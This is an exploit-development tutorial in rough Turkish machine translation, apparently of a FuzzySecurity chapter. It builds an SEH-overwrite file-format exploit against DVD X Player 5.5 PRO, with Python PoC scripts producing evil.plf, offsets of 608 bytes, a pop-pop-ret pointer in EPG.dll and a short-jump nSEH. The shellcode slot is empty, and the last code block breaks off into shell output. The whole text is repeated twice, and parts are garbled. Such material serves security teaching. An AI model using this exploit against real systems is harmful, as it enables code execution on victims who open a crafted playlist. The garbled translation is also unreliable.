Bölüm 3: yapılandırılmış istisna işleyicisi (SEH)
Bu bölüm, istismarlar yazarken karşılaşacağınız ilk gerçek engeli kapsayacaktır.
"Yapılandırılmış istisna işleyicisi (SEH)?, arabellek taşmalarının kötüye kullanımını azaltmak için uygulanan bir koruma mekanizmasıdır, ancak göreceğimiz gibi, oldukça kusurlu bir mekanizmadır.
Bu öğreticinin SafeSEH veya SEHOP'U kapsamayacağından bahsetmeye değer, daha sonra bu gelişmiş koruma mekanizmalarını ele almak için bir "bölüm 3b" adadım.
SEH istismarları için gerekli olan metodolojiyi göstermek için ?DVD X Player 5.5 PRO?için sıfırdan bir istismar oluşturacağız.
Yine normalde badcharacter analizi yapmamız gerekir, ancak basitlik için badcharacter'ları önceden listeleyeceğim, "\x00\x0a\x0D\x1a", bunları daha sonra akılda tutmamız gerekecek...
Exploit Geliştirme: Backtrack 5
Hata ayıklama makinesi: Windows XP Pro SP3
Savunmasız Yazılım: İndir
Yapılandırılmış Özel Durum İşleyicisine Giriş
"Bölüm 1" de söylediğim gibi, işleri olması gerektiği kadar zor veya basit tutmanın önemli olduğunu düşünüyorum, bu yüzden SEH tam teknik ayrıntıda açıklamayacağım, ancak size devam etmek için yeterli bilgi vereceğim.
İnternette biraz daha derinlemesine araştırma yapmanızı şiddetle tavsiye ederim.
SEH, Windows'da bir dizi veri kaydı içeren "bağlantılı liste" adlı bir veri yapısını kullanan bir mekanizmadır.
Bir istisna tetiklendiğinde, işletim sistemi bu listeden aşağı inecektir.
Özel durum işleyicisi, özel durumu işlemek için uygun olduğunu değerlendirebilir veya işletim sistemine listeden aşağı doğru devam etmesini ve diğer özel durum işlevlerini değerlendirmesini söyleyebilir.
Bunu yapabilmek için özel durum işleyicisinin iki öğe içermesi gerekir
(1) Geçerli ?Özel Durum kayıt kaydı? (SEH) için bir işaretçi ve
(2) ?Sonraki özel durum kayıt kaydı? (nSEH) için bir işaretçi.
Windows yığınımız aşağı doğru büyüdüğünden, bu kayıtların sırasının ters çevrildiğini göreceğiz [nSEH]...[SEH].
Bir program işlevinde bir özel durum oluştuğunda, özel durum işleyicisi, özel durumu yürütmek için Prologue işlevinin bir parçası olduğundan, yapısının öğelerini yığına itecektir.
İstisna sırasında SEH esp+8'de yer alacaktır.
Muhtemelen kendinize tüm bunların istismar geliştirme ile ne ilgisi olduğunu soruyorsunuz.
Aşırı uzun bir arabellek depolamak için bir program alırsak ve ?yapılandırılmış bir istisna işleyicisi? nin üzerine yazarsak, Windows CPU kayıtlarını sıfırlar, böylece doğrudan kabuk kodumuza atlayamayız.
Neyse ki bu koruma mekanizması kusurlu.
Genel olarak yapmak istediğimiz şey, ?POP POP RETN? talimatına bir işaretçi ile SEH üzerine yazmaktır (POP talimatı yığının üstünden 4 bayt kaldıracak ve RETN talimatı yürütmeyi yığının tepesine döndürecektir).
SEH esp+8'de olduğunu unutmayın, bu nedenle yığını 8 bayt ile artırırsak ve yığının üstündeki yeni işaretçiye geri dönersek, nSEH yürütürüz.
Daha sonra nseh'de, kabuk kodumuzu yerleştirebileceğimiz kontrol ettiğimiz bir bellek alanına atlayacak bir işlem kodu yazmak için en az 4 baytlık bir odamız var!
Her şey çok karmaşık geliyor, ama her şeyin ifadede olduğunu göreceksiniz, aslında bir SEH istismarı oluşturmak son derece kolay, aşağıdaki örnek bunu gösterecektir.
Kilitlenmeyi Çoğaltma
Tamam, aşağıda poc iskelet istismarımızı görebilirsiniz; bu bir fileformat istismarıdır.
Bir çalma listesi dosyasına uzun bir tampon yazacağız ( * .plf) daha sonra DVD oynatıcı tarafından okunacak ve bir arabellek taşmasına neden olacaktır (bu, bir TCP veya UDP bağlantısı üzerinden bir arabellek göndermekten gerçekten farklı değildir).
Buradaki tek göze çarpan nokta, ?kurban? ın çalma listemizi açmak için kandırılması gerektiğidir.
Kod:
#!/usr/bin/python -w
filename="evil.plf"
buffer = "A"*2000
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Tamam, bu yüzden *oluşturuyoruz.plf, oynatıcıyı bağışıklık hata ayıklayıcısına takın ve çalma listesi dosyasını açın.
Oyuncu beklendiği gibi çöküyor, ilk istisnayı ?Shift-F9? ile geçiyoruz (bunu yapıyoruz çünkü bu ilk istisna farklı bir sömürü tekniğine yol açıyor ve SEH ile ilgileniyoruz).
Aşağıda CPU kayıtlarının bir ekran görüntüsünü görebilirsiniz (SEH birkaç kaydı sıfırladığını fark edeceksiniz) ve seh kaydının üzerine yazdığımızı gösteren SEH zincirinin bir ekran görüntüsü.


SEH & nSEH üzerine yazma
Bir sonraki adım şaşırtıcı olmamalı, kazayı analiz etmemiz gerekiyor, bu yüzden ilk tamponumuzu ****sploit deseni ile değiştiriyoruz (aynı tampon uzunluğunu korumaya dikkat ediyoruz).
Kod:
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab 6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A d3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1 Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag 8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6A i7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3 Ak4Ak5
[...snip...]
f5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1 Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci 8Ci9Cj
0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6C k7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3 Cm4Cm5
Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co 2Co3Co4Co5Co
*.plf'yi yeniden oluşturduktan sonra dosyası ve programın çökmesi mona'nın çökmeyi analiz etmesini sağlayabiliriz.
Bu analizin ekran görüntüsünü aşağıda görebilirsiniz.
Özellikle ilgilendiğimiz şey, SEH kaydının üzerine yazılan baytlardır, mona bu baytların arabelleğimizin ilk 612 baytından sonra doğrudan takip eden 4 bayt olduğunu gösterir.
!mona findmsp

Tamam, şimdiye kadar çok iyi, bu bilgilere dayanarak, aşağıda gösterildiği gibi tamponumuzu yeniden oluşturabiliriz.
NSEH için 4 bayt tahsis edeceğiz, bu da doğrudan 4 bayt alan SEH önüne yerleştirilmelidir.
buffer = "A"*608 + [nSEH] + [SEH] +
"D"*1384
buffer = "A"*608 + "B"*4 + "C"*4 + "D"*1384
POP POP RETN için bir işaretçi ile SEH üzerine yazmamız gerektiğini unutmayın, bir kez daha mona kurtarmaya geliyor!
Aşağıda gösterilen komut tüm geçerli işaretçileri arayacaktır.
Mona'nın, SafeSEH modüllerinden gelen işaretçiler gibi potansiyel olarak sorunlu olabilecek işaretçileri zaten filtrelediğini belirtmek gerekir, sonuçları filtrelemek için mevcut seçeneklerin daha iyi anlaşılmasını sağlamak için belgelere bir göz atmanızı öneririm.
Sonuçları ekran görüntüsünde görebilirsiniz.
! mona seh

Bu işaretçilerin çoğu yapacak, sadece herhangi bir kötü karakter içeremeyeceklerini unutmayın.
Şahsen, günlük ekranında görülenlerden hiçbirini seçmedim, çünkü retern + ofset yerine temiz bir geri dönüş istedim.
Mona 2968 geçerli işaretçi bulduğundan, seçim yapabileceğiniz çok şey var, sadece ?seh.txt " bağışıklık hata ayıklayıcı yükleme klasöründe.
CPU'nun küçük Endian mimarisi nedeniyle bayt sırasını tersine çevirmemiz gerektiğini unutmayın.
Aşağıdaki sözdizimine dikkat edin.
Pointer: 0x61617619 : pop esi # pop edi # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.12.21.2006 (C:\Program Files\Aviosoft\DVD X Player 5.5 Professional\EPG.dll)
Buffer: buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384
Şu an için nseh'i olduğu gibi bırakacağız, bir anda orada hangi değeri doldurmamız gerektiğini görmek için hata ayıklayıcıya bir göz atacağız.
POP POP RETN talimatımızın ?EPG " den alındığına dikkat edin.dll " hangi DVD oynatıcı aittir, bu bizim istismar taşınabilir acros farklı işletim sistemleri olacağı anlamına gelir!!
Yeni POC'umuz böyle görünmeli...
Kod:
#!/usr/bin/python -w
filename="evil.plf"
#---------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A' #
# #
# offset to: (2) nseh 608-bytes, (1) seh 112-bytes #
# (2) nseh = ???? #
# (1) seh = 0x61617619 : pop esi # pop edi # ret | EPG.dll #
# (3) shellcode space = 1384-bytes #
#---------------------------------------------------------------------------#
buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Tamam, yeni *.plf' yi yeniden yaratalım dosya ve hata ayıklayıcıdaki SEH işaretçimize bir kesme noktası koyun.
Shift-F9 ile ilk istisnayı geçtikten sonra kesme noktamıza ulaştık.
Aşağıdaki ekran görüntüsünü görebilirsiniz.

Mükemmel!! Bu üç talimatı F7 ile adım atarsak, RETN talimatı bize ?B?*4 (nSEH) ' yi geri getirecektir.
SEH koyduğumuz işaretçinin opcode dönüştürüldüğünü ve bundan sonra kabuk kodumuz için kullanılabilecek ?D?*1384'ümüze sahip olduğunu görebiliriz.
Geriye kalan tek şey, ?D?ye kısa bir sıçrama yapacak olan nshe'de bazı işlem kodları yazmaktır, bunu hata ayıklayıcıda canlı olarak yapabiliriz, aşağıdaki ekran görüntülerini gözlemleyebiliriz.



NSEH arabellek bizim için atlamak için gerek işlem kodu şimdi bildiğimize göre çok güzel bir hile değil.
En az 6 bayt ileri atlamamız gerekiyor. Yeni tamponumuz böyle bir şeye benzemeli:
buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + "D"*1384
Shellcode + Oyun Bitti
Ciddi bir iş yapılır.
(1) kabuk kodumuza yer açmamız ve
(2) istismarımıza eklemek için bir yük oluşturmamız gerekiyor.
Yine, önceki bölümde olduğu gibi, tampon alanımızın dinamik olarak hesaplanmasını istiyoruz, böylece istersek kabuk kodunu kolayca değiştirebiliriz.
Aşağıdaki sonucu görebilirsiniz.
Shellcode değişkenine eklediğimiz herhangi bir shellcode, arabellek taşması tarafından yürütülür.
Kod:
#!/usr/bin/python -w
filename="evil.plf"
shellcode = (
)
#----------------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A' #
# #
# offset to: (2) nseh 608-bytes, (1) seh 112-bytes #
# (2) nseh = '\xEB\x06' => jump short 6-bytes #
# (1) seh = 0x61617619 : pop esi # pop edi # ret | EPG.dll #
# (3) shellcode space = 1384-bytes #
#----------------------------------------------------------------------------------#
# SEH Exploit Structure: #
# \----------------> #
# [AAA..................AAA] [nseh] [seh] [BBB..................BBB] #
# \--------------------------------------> #
# ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.111.128
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
G:\tutorial>
Translator: @Qgenays
Source: https://www.fuzzysecurity.com/tutorials/expDev/3.html
Bu bölüm, istismarlar yazarken karşılaşacağınız ilk gerçek engeli kapsayacaktır.
"Yapılandırılmış istisna işleyicisi (SEH)?, arabellek taşmalarının kötüye kullanımını azaltmak için uygulanan bir koruma mekanizmasıdır, ancak göreceğimiz gibi, oldukça kusurlu bir mekanizmadır.
Bu öğreticinin SafeSEH veya SEHOP'U kapsamayacağından bahsetmeye değer, daha sonra bu gelişmiş koruma mekanizmalarını ele almak için bir "bölüm 3b" adadım.
SEH istismarları için gerekli olan metodolojiyi göstermek için ?DVD X Player 5.5 PRO?için sıfırdan bir istismar oluşturacağız.
Yine normalde badcharacter analizi yapmamız gerekir, ancak basitlik için badcharacter'ları önceden listeleyeceğim, "\x00\x0a\x0D\x1a", bunları daha sonra akılda tutmamız gerekecek...
Exploit Geliştirme: Backtrack 5
Hata ayıklama makinesi: Windows XP Pro SP3
Savunmasız Yazılım: İndir
Yapılandırılmış Özel Durum İşleyicisine Giriş
"Bölüm 1" de söylediğim gibi, işleri olması gerektiği kadar zor veya basit tutmanın önemli olduğunu düşünüyorum, bu yüzden SEH tam teknik ayrıntıda açıklamayacağım, ancak size devam etmek için yeterli bilgi vereceğim.
İnternette biraz daha derinlemesine araştırma yapmanızı şiddetle tavsiye ederim.
SEH, Windows'da bir dizi veri kaydı içeren "bağlantılı liste" adlı bir veri yapısını kullanan bir mekanizmadır.
Bir istisna tetiklendiğinde, işletim sistemi bu listeden aşağı inecektir.
Özel durum işleyicisi, özel durumu işlemek için uygun olduğunu değerlendirebilir veya işletim sistemine listeden aşağı doğru devam etmesini ve diğer özel durum işlevlerini değerlendirmesini söyleyebilir.
Bunu yapabilmek için özel durum işleyicisinin iki öğe içermesi gerekir
(1) Geçerli ?Özel Durum kayıt kaydı? (SEH) için bir işaretçi ve
(2) ?Sonraki özel durum kayıt kaydı? (nSEH) için bir işaretçi.
Windows yığınımız aşağı doğru büyüdüğünden, bu kayıtların sırasının ters çevrildiğini göreceğiz [nSEH]...[SEH].
Bir program işlevinde bir özel durum oluştuğunda, özel durum işleyicisi, özel durumu yürütmek için Prologue işlevinin bir parçası olduğundan, yapısının öğelerini yığına itecektir.
İstisna sırasında SEH esp+8'de yer alacaktır.
Muhtemelen kendinize tüm bunların istismar geliştirme ile ne ilgisi olduğunu soruyorsunuz.
Aşırı uzun bir arabellek depolamak için bir program alırsak ve ?yapılandırılmış bir istisna işleyicisi? nin üzerine yazarsak, Windows CPU kayıtlarını sıfırlar, böylece doğrudan kabuk kodumuza atlayamayız.
Neyse ki bu koruma mekanizması kusurlu.
Genel olarak yapmak istediğimiz şey, ?POP POP RETN? talimatına bir işaretçi ile SEH üzerine yazmaktır (POP talimatı yığının üstünden 4 bayt kaldıracak ve RETN talimatı yürütmeyi yığının tepesine döndürecektir).
SEH esp+8'de olduğunu unutmayın, bu nedenle yığını 8 bayt ile artırırsak ve yığının üstündeki yeni işaretçiye geri dönersek, nSEH yürütürüz.
Daha sonra nseh'de, kabuk kodumuzu yerleştirebileceğimiz kontrol ettiğimiz bir bellek alanına atlayacak bir işlem kodu yazmak için en az 4 baytlık bir odamız var!
Her şey çok karmaşık geliyor, ama her şeyin ifadede olduğunu göreceksiniz, aslında bir SEH istismarı oluşturmak son derece kolay, aşağıdaki örnek bunu gösterecektir.
Kilitlenmeyi Çoğaltma
Tamam, aşağıda poc iskelet istismarımızı görebilirsiniz; bu bir fileformat istismarıdır.
Bir çalma listesi dosyasına uzun bir tampon yazacağız ( * .plf) daha sonra DVD oynatıcı tarafından okunacak ve bir arabellek taşmasına neden olacaktır (bu, bir TCP veya UDP bağlantısı üzerinden bir arabellek göndermekten gerçekten farklı değildir).
Buradaki tek göze çarpan nokta, ?kurban? ın çalma listemizi açmak için kandırılması gerektiğidir.
Kod:
#!/usr/bin/python -w
filename="evil.plf"
buffer = "A"*2000
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Tamam, bu yüzden *oluşturuyoruz.plf, oynatıcıyı bağışıklık hata ayıklayıcısına takın ve çalma listesi dosyasını açın.
Oyuncu beklendiği gibi çöküyor, ilk istisnayı ?Shift-F9? ile geçiyoruz (bunu yapıyoruz çünkü bu ilk istisna farklı bir sömürü tekniğine yol açıyor ve SEH ile ilgileniyoruz).
Aşağıda CPU kayıtlarının bir ekran görüntüsünü görebilirsiniz (SEH birkaç kaydı sıfırladığını fark edeceksiniz) ve seh kaydının üzerine yazdığımızı gösteren SEH zincirinin bir ekran görüntüsü.


SEH & nSEH üzerine yazma
Bir sonraki adım şaşırtıcı olmamalı, kazayı analiz etmemiz gerekiyor, bu yüzden ilk tamponumuzu ****sploit deseni ile değiştiriyoruz (aynı tampon uzunluğunu korumaya dikkat ediyoruz).
Kod:
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab 6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A d3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1 Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag 8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6A i7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3 Ak4Ak5
[...snip...]
f5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1 Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci 8Ci9Cj
0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6C k7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3 Cm4Cm5
Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co 2Co3Co4Co5Co
*.plf'yi yeniden oluşturduktan sonra dosyası ve programın çökmesi mona'nın çökmeyi analiz etmesini sağlayabiliriz.
Bu analizin ekran görüntüsünü aşağıda görebilirsiniz.
Özellikle ilgilendiğimiz şey, SEH kaydının üzerine yazılan baytlardır, mona bu baytların arabelleğimizin ilk 612 baytından sonra doğrudan takip eden 4 bayt olduğunu gösterir.
!mona findmsp

Tamam, şimdiye kadar çok iyi, bu bilgilere dayanarak, aşağıda gösterildiği gibi tamponumuzu yeniden oluşturabiliriz.
NSEH için 4 bayt tahsis edeceğiz, bu da doğrudan 4 bayt alan SEH önüne yerleştirilmelidir.
buffer = "A"*608 + [nSEH] + [SEH] +
"D"*1384
buffer = "A"*608 + "B"*4 + "C"*4 + "D"*1384
POP POP RETN için bir işaretçi ile SEH üzerine yazmamız gerektiğini unutmayın, bir kez daha mona kurtarmaya geliyor!
Aşağıda gösterilen komut tüm geçerli işaretçileri arayacaktır.
Mona'nın, SafeSEH modüllerinden gelen işaretçiler gibi potansiyel olarak sorunlu olabilecek işaretçileri zaten filtrelediğini belirtmek gerekir, sonuçları filtrelemek için mevcut seçeneklerin daha iyi anlaşılmasını sağlamak için belgelere bir göz atmanızı öneririm.
Sonuçları ekran görüntüsünde görebilirsiniz.
! mona seh

Bu işaretçilerin çoğu yapacak, sadece herhangi bir kötü karakter içeremeyeceklerini unutmayın.
Şahsen, günlük ekranında görülenlerden hiçbirini seçmedim, çünkü retern + ofset yerine temiz bir geri dönüş istedim.
Mona 2968 geçerli işaretçi bulduğundan, seçim yapabileceğiniz çok şey var, sadece ?seh.txt " bağışıklık hata ayıklayıcı yükleme klasöründe.
CPU'nun küçük Endian mimarisi nedeniyle bayt sırasını tersine çevirmemiz gerektiğini unutmayın.
Aşağıdaki sözdizimine dikkat edin.
Pointer: 0x61617619 : pop esi # pop edi # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.12.21.2006 (C:\Program Files\Aviosoft\DVD X Player 5.5 Professional\EPG.dll)
Buffer: buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384
Şu an için nseh'i olduğu gibi bırakacağız, bir anda orada hangi değeri doldurmamız gerektiğini görmek için hata ayıklayıcıya bir göz atacağız.
POP POP RETN talimatımızın ?EPG " den alındığına dikkat edin.dll " hangi DVD oynatıcı aittir, bu bizim istismar taşınabilir acros farklı işletim sistemleri olacağı anlamına gelir!!
Yeni POC'umuz böyle görünmeli...
Kod:
#!/usr/bin/python -w
filename="evil.plf"
#---------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A' #
# #
# offset to: (2) nseh 608-bytes, (1) seh 112-bytes #
# (2) nseh = ???? #
# (1) seh = 0x61617619 : pop esi # pop edi # ret | EPG.dll #
# (3) shellcode space = 1384-bytes #
#---------------------------------------------------------------------------#
buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Tamam, yeni *.plf' yi yeniden yaratalım dosya ve hata ayıklayıcıdaki SEH işaretçimize bir kesme noktası koyun.
Shift-F9 ile ilk istisnayı geçtikten sonra kesme noktamıza ulaştık.
Aşağıdaki ekran görüntüsünü görebilirsiniz.

Mükemmel!! Bu üç talimatı F7 ile adım atarsak, RETN talimatı bize ?B?*4 (nSEH) ' yi geri getirecektir.
SEH koyduğumuz işaretçinin opcode dönüştürüldüğünü ve bundan sonra kabuk kodumuz için kullanılabilecek ?D?*1384'ümüze sahip olduğunu görebiliriz.
Geriye kalan tek şey, ?D?ye kısa bir sıçrama yapacak olan nshe'de bazı işlem kodları yazmaktır, bunu hata ayıklayıcıda canlı olarak yapabiliriz, aşağıdaki ekran görüntülerini gözlemleyebiliriz.



NSEH arabellek bizim için atlamak için gerek işlem kodu şimdi bildiğimize göre çok güzel bir hile değil.
En az 6 bayt ileri atlamamız gerekiyor. Yeni tamponumuz böyle bir şeye benzemeli:
buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + "D"*1384
Shellcode + Oyun Bitti
Ciddi bir iş yapılır.
(1) kabuk kodumuza yer açmamız ve
(2) istismarımıza eklemek için bir yük oluşturmamız gerekiyor.
Yine, önceki bölümde olduğu gibi, tampon alanımızın dinamik olarak hesaplanmasını istiyoruz, böylece istersek kabuk kodunu kolayca değiştirebiliriz.
Aşağıdaki sonucu görebilirsiniz.
Shellcode değişkenine eklediğimiz herhangi bir shellcode, arabellek taşması tarafından yürütülür.
Kod:
#!/usr/bin/python -w
filename="evil.plf"
shellcode = (
)
#----------------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A' #
# #
# offset to: (2) nseh 608-bytes, (1) seh 112-bytes #
# (2) nseh = '\xEB\x06' => jump short 6-bytes #
# (1) seh = 0x61617619 : pop esi # pop edi # ret | EPG.dll #
# (3) shellcode space = 1384-bytes #
#----------------------------------------------------------------------------------#
# SEH Exploit Structure: #
# \----------------> #
# [AAA..................AAA] [nseh] [seh] [BBB..................BBB] #
# \--------------------------------------> #
# ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.111.128
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
G:\tutorial>
Translator: @Qgenays
Source: https://www.fuzzysecurity.com/tutorials/expDev/3.html